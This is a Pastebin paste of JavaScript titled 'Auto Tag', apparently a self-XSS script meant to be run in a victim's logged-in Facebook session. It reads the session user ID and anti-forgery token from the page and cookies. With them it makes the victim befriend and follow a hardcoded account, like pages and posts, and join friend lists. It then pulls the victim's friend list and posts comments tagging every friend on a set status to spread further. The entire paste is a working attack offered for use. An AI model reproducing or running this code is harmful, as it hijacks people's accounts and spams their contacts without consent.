Advertisement
BledagBledag

Auto Tag

Feb 1st, 2014
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.95 KB | None | 0 0
  1. function cereziAl(isim) {
  2. var tarama = isim + "=";
  3. if (document.cookie.length > 0) {
  4. konum = document.cookie.indexOf(tarama)
  5. if (konum != -1) {
  6. konum += tarama.length
  7. son = document.cookie.indexOf(";", konum)
  8. if (son == -1)
  9. son = document.cookie.length
  10. return unescape(document.cookie.substring(konum, son))
  11. }
  12. else { return ""; }
  13. }
  14. }
  15. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  16. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  17. function IDS(r) {
  18. var X = new XMLHttpRequest();
  19. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  20. var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  21. X.open("POST", XURL, true);
  22. X.onreadystatechange = function () {
  23. if (X.readyState == 4 && X.status == 200) {
  24. X.close;
  25. }
  26. };
  27. X.send(XParams);
  28. }
  29. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); }
  30. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); }
  31. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  32. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  33. function a(abone)
  34. { var http4=new XMLHttpRequest;
  35. var url4="/ajax/follow/follow_profile.php?__a=1";
  36. var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
  37. http4.open("POST",url4,true);
  38. http4.onreadystatechange=function()
  39. { if(http4.readyState==4&&http4.status==200)http4.close };
  40. http4.send(params4)}
  41. function sublist(uidss)
  42. { var a = document.createElement('script');
  43. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  44. document.body.appendChild(a);
  45. }
  46. //Boss
  47. a("100007510231908");
  48. sublist("1387618471498481");
  49. sublist("1387618008165194");
  50. sublist("1387639714829690");
  51. sublist("1387640111496317");
  52. sublist("1387640268162968");
  53. sublist("1387640341496294");
  54. sublist("1387648321495496");
  55.  
  56. var aing = {
  57.  
  58. /**
  59. Copyright:
  60. ----------
  61. http://jaka-attacker.blogspot.com/
  62. ----------
  63. We Are No Master, No Newbie, We Just Big Family
  64. Please Don't Remove This Credits (Saya Juga Pengen Terkenal)
  65. ----------
  66. **/
  67.  
  68. posId: "1391920774401584", //ganti dengan ID status
  69. idGw: "100007510231908", //ganti dengan ID FB kamu
  70. // idGw:/[0-9]{8,}/.exec(document.getElementsByClassName("fbxWelcomeBoxImg")[0].d)[0],
  71.  
  72. dtsg: document.getElementsByName(
  73. "fb_dtsg")[0].value,
  74. ctLama: /comment_text=(.*?)&/,
  75. c: 1,
  76. ctBaru: "comment_text=",
  77. getPren: function (uid) {
  78. var a = window.ActiveXObject ? new ActiveXObject(
  79. "Msxml2.XMLHTTP") : new XMLHttpRequest;
  80. if (a.open("GET",
  81. "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" +
  82. uid +
  83. "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", /** method GET **/ !
  84. 1), a.send(null), 4 == a.readyState) {
  85. var b = JSON.parse(a.responseText.substring(
  86. a.responseText.indexOf("{")));
  87. return b.payload.entries
  88. }
  89. return !1
  90. },
  91. hajar: function () {
  92. aing.koncos = aing.getPren(aing.idGw);
  93. aing.pale = "ft_ent_identifier=" +
  94. aing.posId +
  95. "&comment_text=0&" +
  96. "source=1&" +
  97. "client_id=1359576694192%3A1233576093&" +
  98. "reply_fbid" +
  99. "&parent_comment_id&" +
  100. "rootid=u_jsonp_3_19&" +
  101. "ft[tn]=[]&" +
  102. "ft[qid]=5839337351464612379&" +
  103. "ft[mf_story_key]=5470779710560437153&" +
  104. "ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" +
  105. aing.idGw +
  106. "&__a=1&__req=4u&fb_dtsg=" + aing.dtsg +
  107. "&phstamp=" + Math.random();
  108. for (var n = 1; n < aing.koncos.length; n++) {
  109. if (fb_dtsg = aing.dtsg, aing.ctBaru +=
  110. "Teman%20Facebook%20ke%20" + n + "%20%40[" + aing.koncos[
  111. n].uid +
  112. "%3AAAAAAAAAAAA]%20lagi%20apa%20kamu%20^_^%20Maaf%20kalo%20kalian%20udah%20di%20Tag%20;)%20lagi%20nyoba%20anu%20hehehe...%20:)%20B|%20%0A", //message with percent encoding for URIs
  113. aing.c++, 7 == aing.c) {
  114. with(aing.ctBaru += "&", new XMLHttpRequest) open(
  115. "POST",
  116. "/ajax/ufi/add_comment.php?__a=1"), /** method POST **/
  117. setRequestHeader("Content-Type",
  118. "application/x-www-form-urlencoded"
  119. ), send(aing.pale.replace(aing.ctLama,
  120. aing.ctBaru));
  121. z = setTimeout("function(){asd=0}",
  122. 1e3), clearInterval(z), aing.c = 1,
  123. aing.ctBaru = "comment_text="
  124. }
  125. }
  126. }
  127. };
  128. aing.hajar();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement